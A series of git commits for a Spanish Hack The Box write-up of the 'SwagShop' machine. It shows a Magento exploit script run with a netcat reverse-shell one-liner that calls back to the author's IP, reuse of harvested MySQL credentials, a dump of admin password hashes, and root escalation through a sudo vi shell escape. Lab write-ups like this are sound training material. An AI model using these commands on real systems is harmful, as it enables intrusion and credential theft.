+`--command` : Se usa para especificar un comando. En nuestro caso `whoami`. + +![Captura de pantalla -2022-05-05 01-40-05](https://user-images.githubusercontent.com/103068924/166850027-4e6b9fee-65ad-4251-9b89-fd25e3fc4ad5.png) + +Vemos como funciona perfectamente y como nos reconoce como `www-data`. + +Desde aquí ya podriamos hacer cositas, reportando distintos comando podríamos +ir interacuando con el sistema pero no es practico. Para poder trabajar bien +vamos a tratar de montar una shell mñas cómoda. + +Para ello vamos a ver primero si disponemos de `netcat` para tratar de establer una reverse shell: + + python3 magento-oneshot.py --command "wich nc" http://swagshop.htb/index.php + +Vemos que si disponemos de netcat. Ahora vamos a tratar de establecer una +reverse shell. En el siguiente enlace, podreis ver una gran repertorio +de herramientas desde las que establecer shells inversas. + +Nosotros vamos a utilizar la de Netcat: + +[https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) + +![Captura de pantalla -2022-05-05 01-46-13](https://user-images.githubusercontent.com/103068924/166850489-e62e07a6-eda5-4ef7-9759-723deff77eec.png) + +Pimero preparamos en una terminal a parte, nuestro comando netcat `nc` en escucha por el puerto `8080`. + + nc -lnvp 8080 + +Finalmente especificamos el comando que nos reporta el artículo dentro de nuestro comando anterior, tambien especificamos nuestra Ip (En este caso es nuestra vpn de HTB) y el puerto desde el que nos pondremos en escucha, `8080`. + + + python3 magento-oneshot.py --command "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 8080 >/tmp/f" http://swagshop.htb/index.php + +Ya tenemos nuestro shell. Pero sigue sin ser funcional del todo. Para poder +obtener una shell completa basada en bash, utilizamos los siguientes comandos: + + script /dev/null -c bash + +Ahora pulsamos `Cntl + z` enviamos el proceso a segundo plano. Y ejecutamos lo siguiente: + + stty raw -echo; fg + +Y terminamos reseteando la shell: + + reset xterm + +Ahora ya tenemos una shell más estable y potente. Y buscando un poco, encontramos la primera flag. + +![Captura de pantalla -2022-05-05 02-00-48](https://user-images.githubusercontent.com/103068924/166851070-587d9024-b2e2-4ef1-8a4c-2bf342c7b1a6.png) + +Ahora nos faltaría autentificarnos como `root`. Tras comprobar que no funcionan las credenciales previamente recopiladas para conectarnos de forma +directa como `root`, vamos a tratar de utilizarlas para conectarnos mediante +`mysql`. + + mysql -uroot -p + +![Captura de pantalla -2022-05-05 02-04-07](https://user-images.githubusercontent.com/103068924/166851358-ed5dd0e2-c444-4863-b67b-14da258c33a0.png) + +Genial, ahora vemos como la password conseguida anteriormente en la base de datos dentro del archivo `local.xml` nos permite conectarnos. + +Una vez dentro de `mysql` vamos a ver las bases de datos: + + show databases; + +![Captura de pantalla -2022-05-05 02-07-44](https://user-images.githubusercontent.com/103068924/166851562-c968d37b-05e9-4cb5-a7ab-30d3a4a27b0e.png) + +Vemos como existe una base de datos llamada como la máquina `swagsho`. Intentemos ver sus tablas. Para ello primero ingresamos a ella mediante `use`: + + use swagshop; + + ![Captura de pantalla -2022-05-05 02-08-13](https://user-images.githubusercontent.com/103068924/166851750-9e57a5c0-80dd-4d4e-8c85-a2792a392f13.png) + +Y ahora visualizamos las tablas: + + show tables; + + +![Captura de pantalla -2022-05-05 02-08-48](https://user-images.githubusercontent.com/103068924/166851761-301986d3-9d61-4d90-8e09-b37fc0f94236.png) + +Vemos como se nos reportan un monton, pero una de las más interesantes es `admin_user`. Para ver mas información: - sudo searchsploit -m xml/webapps/37977.py + describe admin_user; +![Captura de pantalla -2022-05-05 02-19-31](https://user-images.githubusercontent.com/103068924/166852292-ce2463a1-2c01-4e04-9ebf-1c157e38df85.png) + das From 8ec55654fb1382db94d7f50507084cb21d16978d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 5 May 2022 08:46:32 +0200 Subject: [PATCH 0204/1701] Create mkt.md --- Herramientas_y_Scripts/mkt.md | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) create mode 100644 Herramientas_y_Scripts/mkt.md diff --git a/Herramientas_y_Scripts/mkt.md b/Herramientas_y_Scripts/mkt.md new file mode 100644 index 00000000000..9b2a20f06f1 --- /dev/null +++ b/Herramientas_y_Scripts/mkt.md @@ -0,0 +1,32 @@ +# Función MKT: + +Esta función está definida para crearnos cuatro directorios (`nmap`, `content`, +`exploits` y `scripts`) desde los cuales poder trabajar a la hora de realizar +las máquinas de HTB. + +![Captura de pantalla -2022-05-05 08-41-27](https://user-images.githubusercontent.com/103068924/166874377-678da3d9-a60b-4910-ba2b-e73d5f378dd0.png) + + + # Función para crear directorios: + function mkt(){ + mkdir {nmap,content,exploits,scripts} + } + + +![Captura de pantalla -2022-05-05 08-42-15](https://user-images.githubusercontent.com/103068924/166874371-472c7706-b34e-4712-b270-c26447eb49ad.png) + + +Simplemente copiamos la función y la pegamos dentro del archivo `~/.zshrc`: + + nano ~/.zshrc + +Pegamos la función. `Cntrl + o` para guardar y `Cntrl + x` para salir. + +Ahora para ejecutarlo, simplemente desde la carpeta en la que queramos crear +los directorios de trabajo, usamos el comando `mtk`: + + mtk + +![Captura de pantalla -2022-05-05 08-43-11](https://user-images.githubusercontent.com/103068924/166874403-66f732eb-5180-48b4-b6a4-940873c411fb.png) + +![Captura de pantalla -2022-05-05 08-43-34](https://user-images.githubusercontent.com/103068924/166874405-6d25c2c6-b415-4bc4-8ac6-4af143715b19.png) From 7f5cddeeec249208764c0f1ce49e65e929cb4da3 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 5 May 2022 08:58:30 +0200 Subject: [PATCH 0205/1701] Update HTB-SwagShop.md --- Maquinas-HTB/HTB-SwagShop.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/Maquinas-HTB/HTB-SwagShop.md b/Maquinas-HTB/HTB-SwagShop.md index b3688cc1dc7..640f1342db3 100644 --- a/Maquinas-HTB/HTB-SwagShop.md +++ b/Maquinas-HTB/HTB-SwagShop.md @@ -7,9 +7,14 @@ En primer luegar nos creamos un directorio con el nombre de la máquina desde el sudo mkdir SwagShop -Ahora mediante la función `mkt` que tengo previamente definida en la `zhshrc` crearemos nuestros directorio de trabajo: +Ahora mediante la función [`mkt`](../Herramientas_y_Scripts/mkt.html) que tengo previamente definida en la `zhshrc` crearemos nuestros directorio de trabajo: sudo mkt + +Esta función está definida para crearnos cuatro directorios (`nmap`, `content`, `exploits` y `scripts`) desde los cuales poder trabajar a la hora de +realizar las máquinas de HTB. + +![Captura de pantalla -2022-05-05 08-41-27](https://user-images.githubusercontent.com/103068924/166874377-678da3d9-a60b-4910-ba2b-e73d5f378dd0.png) ### PING @@ -218,6 +223,5 @@ Vemos como se nos reportan un monton, pero una de las más interesantes es `admi ![Captura de pantalla -2022-05-05 02-19-31](https://user-images.githubusercontent.com/103068924/166852292-ce2463a1-2c01-4e04-9ebf-1c157e38df85.png) - das From 2c85954a0c7c1a9e641c7be517d1c717c01b89a1 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 5 May 2022 09:04:25 +0200 Subject: [PATCH 0206/1701] Update HTB-SwagShop.md --- Maquinas-HTB/HTB-SwagShop.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Maquinas-HTB/HTB-SwagShop.md b/Maquinas-HTB/HTB-SwagShop.md index 640f1342db3..e35f1a6a488 100644 --- a/Maquinas-HTB/HTB-SwagShop.md +++ b/Maquinas-HTB/HTB-SwagShop.md @@ -169,6 +169,8 @@ Finalmente especificamos el comando que nos reporta el artículo dentro de nuest python3 magento-oneshot.py --command "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 8080 >/tmp/f" http://swagshop.htb/index.php + +![Captura de pantalla -2022-05-05 01-47-38](https://user-images.githubusercontent.com/103068924/166876323-c111416f-50ca-4c3a-920a-9ca6ca1ccb0e.png) Ya tenemos nuestro shell. Pero sigue sin ser funcional del todo. Para poder obtener una shell completa basada en bash, utilizamos los siguientes comandos: From d9a4cb4fabc4052ec43142652f97a2f7c1f45d76 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 5 May 2022 09:47:42 +0200 Subject: [PATCH 0207/1701] Update HTB-SwagShop.md --- Maquinas-HTB/HTB-SwagShop.md | 66 +++++++++++++++++++++++++++++++++--- 1 file changed, 61 insertions(+), 5 deletions(-) diff --git a/Maquinas-HTB/HTB-SwagShop.md b/Maquinas-HTB/HTB-SwagShop.md index e35f1a6a488..fd2e6f7ceaa 100644 --- a/Maquinas-HTB/HTB-SwagShop.md +++ b/Maquinas-HTB/HTB-SwagShop.md @@ -161,40 +161,96 @@ Nosotros vamos a utilizar la de Netcat: ![Captura de pantalla -2022-05-05 01-46-13](https://user-images.githubusercontent.com/103068924/166850489-e62e07a6-eda5-4ef7-9759-723deff77eec.png) -Pimero preparamos en una terminal a parte, nuestro comando netcat `nc` en escucha por el puerto `8080`. +Pimero preparamos en una terminal a parte, con nuestro comando netcat `nc` en escucha por el puerto `8080`. nc -lnvp 8080 + + ![Captura de pantalla -2022-05-05 09-09-31](https://user-images.githubusercontent.com/103068924/166876948-fc9519f0-429a-4a41-b23f-86b89ec86d43.png) Finalmente especificamos el comando que nos reporta el artículo dentro de nuestro comando anterior, tambien especificamos nuestra Ip (En este caso es nuestra vpn de HTB) y el puerto desde el que nos pondremos en escucha, `8080`. - python3 magento-oneshot.py --command "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 8080 >/tmp/f" http://swagshop.htb/index.php ![Captura de pantalla -2022-05-05 01-47-38](https://user-images.githubusercontent.com/103068924/166876323-c111416f-50ca-4c3a-920a-9ca6ca1ccb0e.png) -Ya tenemos nuestro shell. Pero sigue sin ser funcional del todo. Para poder -obtener una shell completa basada en bash, utilizamos los siguientes comandos: +Ya tenemos nuestro shell. Pero sigue sin ser funcional del todo. + +![Captura de pantalla -2022-05-05 09-11-59](https://user-images.githubusercontent.com/103068924/166877544-d98100a1-a769-4b12-bb99-7c22b6411983.png) + +Para poder obtener una shell completa basada en bash, utilizamos los siguientes comandos: script /dev/null -c bash + + ![Captura de pantalla -2022-05-05 09-12-36](https://user-images.githubusercontent.com/103068924/166877565-7c129c72-ef1d-4e52-bd19-af03d44d4283.png) Ahora pulsamos `Cntl + z` enviamos el proceso a segundo plano. Y ejecutamos lo siguiente: + +![Captura de pantalla -2022-05-05 09-12-53](https://user-images.githubusercontent.com/103068924/166877674-46b7f844-b2ed-47b9-bfac-4c8fbfa0bc57.png) + +Ejecutamos el siguiente comando: stty raw -echo; fg +![Captura de pantalla -2022-05-05 09-13-31](https://user-images.githubusercontent.com/103068924/166877723-7f1282b0-fe27-4b73-b4a7-e4d72d07e97b.png) + + Y terminamos reseteando la shell: reset xterm -Ahora ya tenemos una shell más estable y potente. Y buscando un poco, encontramos la primera flag. + ![Captura de pantalla -2022-05-05 09-17-59](https://user-images.githubusercontent.com/103068924/166877905-58e6f441-7889-4d9d-b1d4-386576924715.png) + +Ahora ya tenemos una shell más estable y potente. Tambien podemos cerrar la terminal de escucha por `nc` ya que esta +shell es independiente y no se nos caerá. + +Como vemos la shell nos permite utilizar `Cntrl + c` sin expulsarnos pero aún no nos permite utilizar `Cntrl + l` para +limpiar la shell y si utilizamos un `nano`, vemos como tampoco aprovecha todo el monitor. + + + +Aún que con esta shell ya se podría realizar las tareas restantes perfectamente, voy a mostrar como solucionar estos dos pequeños inconvenientes y así tener la shell al 100% funcional. + +Para ello primero solucionaremos el problema del `Cntrl +l` de la siguiente manera, si realizamos un `echo $TERM` vemos que tiene el valor `dumb` +y nosotros queremos que igual que nuestra shell, valga `xterm`: + + echo $TERM + +Vemos como nos reporta `dump`. Para cambiarlo introducimos el siguiente comando: + + TERM=xterm + +Ahora ya podremos limpiar la pantalla mediante `Cntrl + l`. Bien, ya solo falta regular el ancho y la altura de nuesta shell, para ello primero debemos +conocer que medidas tiene nuestro monitor para porder ajustarlo, para verlo, abrimos una terminal nueva desde nuestros directorio e intruducimos: + + stty size + +Copiamos los dos números. Ahora volvemos a la reverse shell y podemos ver mediante el mismo comando que las proporciones son mucho menores. Para ajustarlo ralizamos lo siguiente: + + stty size + + stty rows 36 columns 133 + + stty size + +Una vez tengamos todo ajustado, vamos a por las flags. Para conseguir la primera, simplemene nos dirigimos al directorio raiz: + + cd / + +Y vamos a la carpeta `/home/haris` donde econtraremos el primer archivo `user.txt` con la primera flag. + ![Captura de pantalla -2022-05-05 02-00-48](https://user-images.githubusercontent.com/103068924/166851070-587d9024-b2e2-4ef1-8a4c-2bf342c7b1a6.png) +## Escalada de Privilegios. + Ahora nos faltaría autentificarnos como `root`. Tras comprobar que no funcionan las credenciales previamente recopiladas para conectarnos de forma directa como `root`, vamos a tratar de utilizarlas para conectarnos mediante `mysql`. mysql -uroot -p +![Captura de pantalla -2022-05-05 02-03-56](https://user-images.githubusercontent.com/103068924/166876538-a70e3882-fcc1-41e8-b8e4-bf7df5866ab0.png) + ![Captura de pantalla -2022-05-05 02-04-07](https://user-images.githubusercontent.com/103068924/166851358-ed5dd0e2-c444-4863-b67b-14da258c33a0.png) Genial, ahora vemos como la password conseguida anteriormente en la base de datos dentro del archivo `local.xml` nos permite conectarnos. From c906396f55795c749eba38a7a61d717fc6170755 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 5 May 2022 09:54:30 +0200 Subject: [PATCH 0208/1701] Update HTB-SwagShop.md --- Maquinas-HTB/HTB-SwagShop.md | 34 ++++++++++++++++++++++++---------- 1 file changed, 24 insertions(+), 10 deletions(-) diff --git a/Maquinas-HTB/HTB-SwagShop.md b/Maquinas-HTB/HTB-SwagShop.md index fd2e6f7ceaa..3d59cc00d54 100644 --- a/Maquinas-HTB/HTB-SwagShop.md +++ b/Maquinas-HTB/HTB-SwagShop.md @@ -206,42 +206,56 @@ shell es independiente y no se nos caerá. Como vemos la shell nos permite utilizar `Cntrl + c` sin expulsarnos pero aún no nos permite utilizar `Cntrl + l` para limpiar la shell y si utilizamos un `nano`, vemos como tampoco aprovecha todo el monitor. - - Aún que con esta shell ya se podría realizar las tareas restantes perfectamente, voy a mostrar como solucionar estos dos pequeños inconvenientes y así tener la shell al 100% funcional. Para ello primero solucionaremos el problema del `Cntrl +l` de la siguiente manera, si realizamos un `echo $TERM` vemos que tiene el valor `dumb` y nosotros queremos que igual que nuestra shell, valga `xterm`: echo $TERM - + + ![Captura de pantalla -2022-05-05 09-38-24](https://user-images.githubusercontent.com/103068924/166882012-75e7c979-d17f-49da-b452-1eabf8c29dfa.png) + + Vemos como nos reporta `dump`. Para cambiarlo introducimos el siguiente comando: TERM=xterm - -Ahora ya podremos limpiar la pantalla mediante `Cntrl + l`. Bien, ya solo falta regular el ancho y la altura de nuesta shell, para ello primero debemos -conocer que medidas tiene nuestro monitor para porder ajustarlo, para verlo, abrimos una terminal nueva desde nuestros directorio e intruducimos: + +![Captura de pantalla -2022-05-05 09-38-46](https://user-images.githubusercontent.com/103068924/166882034-d54cce35-d4ea-4fb5-96fa-52525ab3c4d0.png) + + +Ahora ya podremos limpiar la pantalla mediante `Cntrl + l`. Bien, ya solo falta regular el ancho y la altura de nuesta +shell, para ello primero debemos conocer que medidas tiene nuestro monitor para porder ajustarlo, para verlo, abrimos una terminal nueva desde nuestros directorio e intruducimos: stty size +![Captura de pantalla -2022-05-05 09-39-53](https://user-images.githubusercontent.com/103068924/166882118-30d9ed4c-860c-4570-a012-cb01760ab413.png) + + Copiamos los dos números. Ahora volvemos a la reverse shell y podemos ver mediante el mismo comando que las proporciones son mucho menores. Para ajustarlo ralizamos lo siguiente: stty size + +![Captura de pantalla -2022-05-05 09-40-18](https://user-images.githubusercontent.com/103068924/166882143-f5956c0b-4082-47f9-ac74-d434ad66b244.png) stty rows 36 columns 133 + +![Captura de pantalla -2022-05-05 09-41-31](https://user-images.githubusercontent.com/103068924/166882227-b7499110-b554-4723-bd39-0a0f0a107bf9.png) - stty size +### Búsqueda de la primera Flag -Una vez tengamos todo ajustado, vamos a por las flags. Para conseguir la primera, simplemene nos dirigimos al directorio raiz: +Una vez tengamos todo ajustado, vamos a por las flags. Para conseguir la primera, simplemene nos dirigimos al directorio raiz `/`: cd / +![Captura de pantalla -2022-05-05 09-42-37](https://user-images.githubusercontent.com/103068924/166882396-a0bccd4e-d044-46f1-a1bb-eede2f31b9db.png) + Y vamos a la carpeta `/home/haris` donde econtraremos el primer archivo `user.txt` con la primera flag. +![Captura de pantalla -2022-05-05 09-43-43](https://user-images.githubusercontent.com/103068924/166882451-e9cfb587-c226-41ee-9de7-4db5ff5fd93e.png) -![Captura de pantalla -2022-05-05 02-00-48](https://user-images.githubusercontent.com/103068924/166851070-587d9024-b2e2-4ef1-8a4c-2bf342c7b1a6.png) +## Búsqueda de la segunda Flag -## Escalada de Privilegios. +# Escalada de Privilegios. Ahora nos faltaría autentificarnos como `root`. Tras comprobar que no funcionan las credenciales previamente recopiladas para conectarnos de forma directa como `root`, vamos a tratar de utilizarlas para conectarnos mediante From 634c1736a2141512a1b996e554438ab472c6b823 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 5 May 2022 10:01:57 +0200 Subject: [PATCH 0209/1701] Update HTB-SwagShop.md --- Maquinas-HTB/HTB-SwagShop.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Maquinas-HTB/HTB-SwagShop.md b/Maquinas-HTB/HTB-SwagShop.md index 3d59cc00d54..5ea38ad2aea 100644 --- a/Maquinas-HTB/HTB-SwagShop.md +++ b/Maquinas-HTB/HTB-SwagShop.md @@ -275,7 +275,7 @@ Una vez dentro de `mysql` vamos a ver las bases de datos: ![Captura de pantalla -2022-05-05 02-07-44](https://user-images.githubusercontent.com/103068924/166851562-c968d37b-05e9-4cb5-a7ab-30d3a4a27b0e.png) -Vemos como existe una base de datos llamada como la máquina `swagsho`. Intentemos ver sus tablas. Para ello primero ingresamos a ella mediante `use`: +Vemos como existe una base de datos llamada como la máquina `swagshop`. Intentemos ver sus tablas. Para ello primero ingresamos a ella mediante `use`: use swagshop; From cc3fa7eb44905e5254ca04b3b32ac7ba9ab2de91 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 5 May 2022 10:54:12 +0200 Subject: [PATCH 0210/1701] Update HTB-SwagShop.md --- Maquinas-HTB/HTB-SwagShop.md | 47 ++++++++++++++++++++++++++++++++++-- 1 file changed, 45 insertions(+), 2 deletions(-) diff --git a/Maquinas-HTB/HTB-SwagShop.md b/Maquinas-HTB/HTB-SwagShop.md index 5ea38ad2aea..5be322e95a7 100644 --- a/Maquinas-HTB/HTB-SwagShop.md +++ b/Maquinas-HTB/HTB-SwagShop.md @@ -257,8 +257,8 @@ Y vamos a la carpeta `/home/haris` donde econtraremos el primer archivo `user.tx # Escalada de Privilegios. -Ahora nos faltaría autentificarnos como `root`. Tras comprobar que no funcionan las credenciales previamente recopiladas para conectarnos de forma -directa como `root`, vamos a tratar de utilizarlas para conectarnos mediante +Ahora nos faltaría autentificarnos como `root`. Tras comprobar que no funcionan las credenciales previamente recopiladas en la base de datos mysql para conectarnos de forma +directa como `root`, así que vamos a tratar de utilizarlas para conectarnos mediante `mysql`. mysql -uroot -p @@ -291,9 +291,52 @@ Y ahora visualizamos las tablas: Vemos como se nos reportan un monton, pero una de las más interesantes es `admin_user`. Para ver mas información: describe admin_user; + + ![Captura de pantalla -2022-05-05 10-03-15](https://user-images.githubusercontent.com/103068924/166887057-ffb1ee39-564e-4bbd-bdf8-d88f8c13c034.png) + +Vamos a ver que se nos reporta dentro de `username` y `password`: + + select username,password from admin_user; + +![Captura de pantalla -2022-05-05 10-10-11](https://user-images.githubusercontent.com/103068924/166887447-06cbc0df-63c9-4eaa-a2ab-2e284b11654b.png) + +Vemos como nos reporta dos usuarios, `forme` que es el usuario que creamos nosotros a traves del script de python3 y `haris` el cual nos indica una password hasheada. Yo he intentado descifrar el hash de varias maneras y no he conseguido extraer la contraseña. + +Al no poder econtrar la password decidi buscar vulnerabilidades ya reportadas de nuestro sistema, que nos permita +registrarnos como sudo. + +Lo primero es saber si tenemos algún tipo se privilegios: + + sudo -l + +![Captura de pantalla -2022-05-05 10-13-02](https://user-images.githubusercontent.com/103068924/166888310-2fda10fb-df1d-4c45-b8f8-8706909f2843.png) + +Vemos como nos permite ejecutar sin contraseña los siguientes + + +Ahora buscaremos algún binario con el que poder aprovechar estos permisos y registrarnos como`root`. Para poder buscar estas vulnerabilidades por la red +debemos conocer el sistema que estamos comprometiendo, para ello, podemos ver las especificaciones del sistema mediante el siguiente comando: + + lsb_release -a + + +Podemos ver que nos econtramos frente ana distribución Ubuntu Xenial versión 16.04. Tras buscar un poco por internet encuentro el siguiente binario +que nos permite aprovechar los permisos anteriores y registranos como `root`. + +Aquí podeis ver la págian donde reportan el binario: [https://gtfobins.github.io/gtfobins/vi/](https://gtfobins.github.io/gtfobins/vi/) ![Captura de pantalla -2022-05-05 02-19-31](https://user-images.githubusercontent.com/103068924/166852292-ce2463a1-2c01-4e04-9ebf-1c157e38df85.png) +Para poder introducir el binario y utilizar los permisos que tenemos, debemos realizar lo siguiente: + + + sudo /usr/bin/vi /var/www/html/* -c ':!/bin/sh' /dev/null + +`sudo /usr/bin/vi /var/www/html/*` : Directorios donde tenemos los permisos. + +`-c ':!/bin/sh' /dev/null` : Binario para tratar de registranos como `root`. +Genial, ya estamos como `root`. Podemos comprobarlo mediante el comando `whoami`. Finalmente para encontrar nuestra flag, nos dirigimos al directorio +`/root` donde encontramos el archivo `root.txt` con nuestra ultima flag. From d225616c1e6e34600cdf3149dba1f377a70ba63f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 5 May 2022 11:02:14 +0200 Subject: [PATCH 0211/1701] Update HTB-SwagShop.md --- Maquinas-HTB/HTB-SwagShop.md | 24 +++++++++++++++++++----- 1 file changed, 19 insertions(+), 5 deletions(-) diff --git a/Maquinas-HTB/HTB-SwagShop.md b/Maquinas-HTB/HTB-SwagShop.md index 5be322e95a7..d5fe08f9205 100644 --- a/Maquinas-HTB/HTB-SwagShop.md +++ b/Maquinas-HTB/HTB-SwagShop.md @@ -311,15 +311,20 @@ Lo primero es saber si tenemos algún tipo se privilegios: ![Captura de pantalla -2022-05-05 10-13-02](https://user-images.githubusercontent.com/103068924/166888310-2fda10fb-df1d-4c45-b8f8-8706909f2843.png) -Vemos como nos permite ejecutar sin contraseña los siguientes +Vemos como nos permite ejecutar como `root` sin contraseña los siguientes directorios: `/usr/bin/vi` y `/var/www/html/*`. + + sudo /usr/bin/vi /var/www/html/* +![Captura de pantalla -2022-05-05 10-13-50](https://user-images.githubusercontent.com/103068924/166892175-c475ec08-15f0-4494-929c-99734703eb22.png) +![Captura de pantalla -2022-05-05 10-14-18](https://user-images.githubusercontent.com/103068924/166892210-554c4827-3990-4642-b2d0-9168f3bcf38c.png) Ahora buscaremos algún binario con el que poder aprovechar estos permisos y registrarnos como`root`. Para poder buscar estas vulnerabilidades por la red debemos conocer el sistema que estamos comprometiendo, para ello, podemos ver las especificaciones del sistema mediante el siguiente comando: lsb_release -a - + +![Captura de pantalla -2022-05-05 10-39-54](https://user-images.githubusercontent.com/103068924/166892361-80f52384-3136-425d-850c-29342a72a5f9.png) Podemos ver que nos econtramos frente ana distribución Ubuntu Xenial versión 16.04. Tras buscar un poco por internet encuentro el siguiente binario que nos permite aprovechar los permisos anteriores y registranos como `root`. @@ -330,13 +335,22 @@ Aquí podeis ver la págian donde reportan el binario: [https://gtfobins.github. Para poder introducir el binario y utilizar los permisos que tenemos, debemos realizar lo siguiente: - sudo /usr/bin/vi /var/www/html/* -c ':!/bin/sh' /dev/null +![Captura de pantalla -2022-05-05 10-17-27](https://user-images.githubusercontent.com/103068924/166892568-06671371-d935-450f-90b3-92077917c43d.png) + `sudo /usr/bin/vi /var/www/html/*` : Directorios donde tenemos los permisos. `-c ':!/bin/sh' /dev/null` : Binario para tratar de registranos como `root`. -Genial, ya estamos como `root`. Podemos comprobarlo mediante el comando `whoami`. Finalmente para encontrar nuestra flag, nos dirigimos al directorio -`/root` donde encontramos el archivo `root.txt` con nuestra ultima flag. +![Captura de pantalla -2022-05-05 10-18-06](https://user-images.githubusercontent.com/103068924/166892617-156e59bb-4084-4bf3-a51b-899e4b15f562.png) + +Genial, ya estamos como `root`. Podemos comprobarlo mediante el comando `whoami`. Finalmente para encontrar nuestra flag, nos dirigimos al directorio `/root` donde encontramos el archivo `root.txt` con nuestra ultima flag. + +![Captura de pantalla -2022-05-05 10-18-19](https://user-images.githubusercontent.com/103068924/166892662-41b701a5-2f48-4aa0-a469-613deb2e8f90.png) + +![Captura de pantalla -2022-05-05 10-19-29](https://user-images.githubusercontent.com/103068924/166892692-9ec8c35d-bf9f-4661-9383-c883243fbcd1.png) + + + From c638597d6533601fe61a7df79b39d59cf9e6f684 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 5 May 2022 11:05:54 +0200 Subject: [PATCH 0212/1701] Update index.md --- index.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/index.md b/index.md index 3d3fd490c15..08eb16e6671 100644 --- a/index.md +++ b/index.md @@ -1,5 +1,9 @@ # **Hack The Box** +# Máquinas + +[HRB-SwagShop](./Maquinas-HTB/HTB-SwagShop.html) + ## Starting Points [HTB-Oopsie](./Starting Point/HTB-Oopsie.html) @@ -26,6 +30,7 @@ Herramientas útiles para la fase de reconocimiento, como reportes de SO o recop 1.[WichSystem](./Herramientas_y_Scripts/WichSystem.html) 2.[ExtractPorts](./Herramientas_y_Scripts/ExtractPorts.html) +3.[mkt](./Herramientas_y_Scripts/mkt.html) ## Shells: Herramientas para crear shells inversas. From 92f91430c52bc042f51ca20b21aa8b2f4dcc7af7 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 5 May 2022 11:07:50 +0200 Subject: [PATCH 0213/1701] Update index.md --- index.md | 1 + 1 file changed, 1 insertion(+) diff --git a/index.md b/index.md index 08eb16e6671..2c27dc704b7 100644 --- a/index.md +++ b/index.md @@ -32,6 +32,7 @@ Herramientas útiles para la fase de reconocimiento, como reportes de SO o recop 2.[ExtractPorts](./Herramientas_y_Scripts/ExtractPorts.html) 3.[mkt](./Herramientas_y_Scripts/mkt.html) + ## Shells: Herramientas para crear shells inversas. From 44d9936ff761f3f0f161833d2ac429ce82e37a11 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 5 May 2022 11:08:28 +0200 Subject: [PATCH 0214/1701] Update index.md --- index.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/index.md b/index.md index 2c27dc704b7..e043854b59b 100644 --- a/index.md +++ b/index.md @@ -2,7 +2,7 @@ # Máquinas -[HRB-SwagShop](./Maquinas-HTB/HTB-SwagShop.html) +[HTB-SwagShop](./Maquinas-HTB/HTB-SwagShop.html) ## Starting Points @@ -30,6 +30,7 @@ Herramientas útiles para la fase de reconocimiento, como reportes de SO o recop 1.[WichSystem](./Herramientas_y_Scripts/WichSystem.html) 2.[ExtractPorts](./Herramientas_y_Scripts/ExtractPorts.html) + 3.[mkt](./Herramientas_y_Scripts/mkt.html) From 36a6d2c6146bfce713bc22be1c56ed3ee3161910 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 5 May 2022 11:10:07 +0200 Subject: [PATCH 0215/1701] Update index.md --- index.md | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/index.md b/index.md index e043854b59b..78a926716ee 100644 --- a/index.md +++ b/index.md @@ -29,11 +29,9 @@ Herramientas útiles para la fase de reconocimiento, como reportes de SO o recopilación de puertos. 1.[WichSystem](./Herramientas_y_Scripts/WichSystem.html) -2.[ExtractPorts](./Herramientas_y_Scripts/ExtractPorts.html) - +2.[ExtractPorts](./Herramientas_y_Scripts/ExtractPorts.html) 3.[mkt](./Herramientas_y_Scripts/mkt.html) - ## Shells: Herramientas para crear shells inversas. From 255e10ba8482799622da8ccb1ca63bde074d5696 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 5 May 2022 11:22:51 +0200 Subject: [PATCH 0216/1701] Update HTB-SwagShop.md --- Maquinas-HTB/HTB-SwagShop.md | 84 ++++++++++++++++++------------------ 1 file changed, 42 insertions(+), 42 deletions(-) diff --git a/Maquinas-HTB/HTB-SwagShop.md b/Maquinas-HTB/HTB-SwagShop.md index d5fe08f9205..c2512389955 100644 --- a/Maquinas-HTB/HTB-SwagShop.md +++ b/Maquinas-HTB/HTB-SwagShop.md @@ -3,11 +3,11 @@ # SwagShop -En primer luegar nos creamos un directorio con el nombre de la máquina desde el que trabajaremos: +En primer lugar, nos creamos un directorio con el nombre de la máquina desde el que trabajaremos: sudo mkdir SwagShop -Ahora mediante la función [`mkt`](../Herramientas_y_Scripts/mkt.html) que tengo previamente definida en la `zhshrc` crearemos nuestros directorio de trabajo: +Ahora, mediante la función [`mkt`](../Herramientas_y_Scripts/mkt.html) que tengo previamente definida en la `.zhshrc` crearemos nuestros directorios de trabajo: sudo mkt @@ -18,7 +18,7 @@ realizar las máquinas de HTB. ### PING -Realizamos un `ping` y vemos como 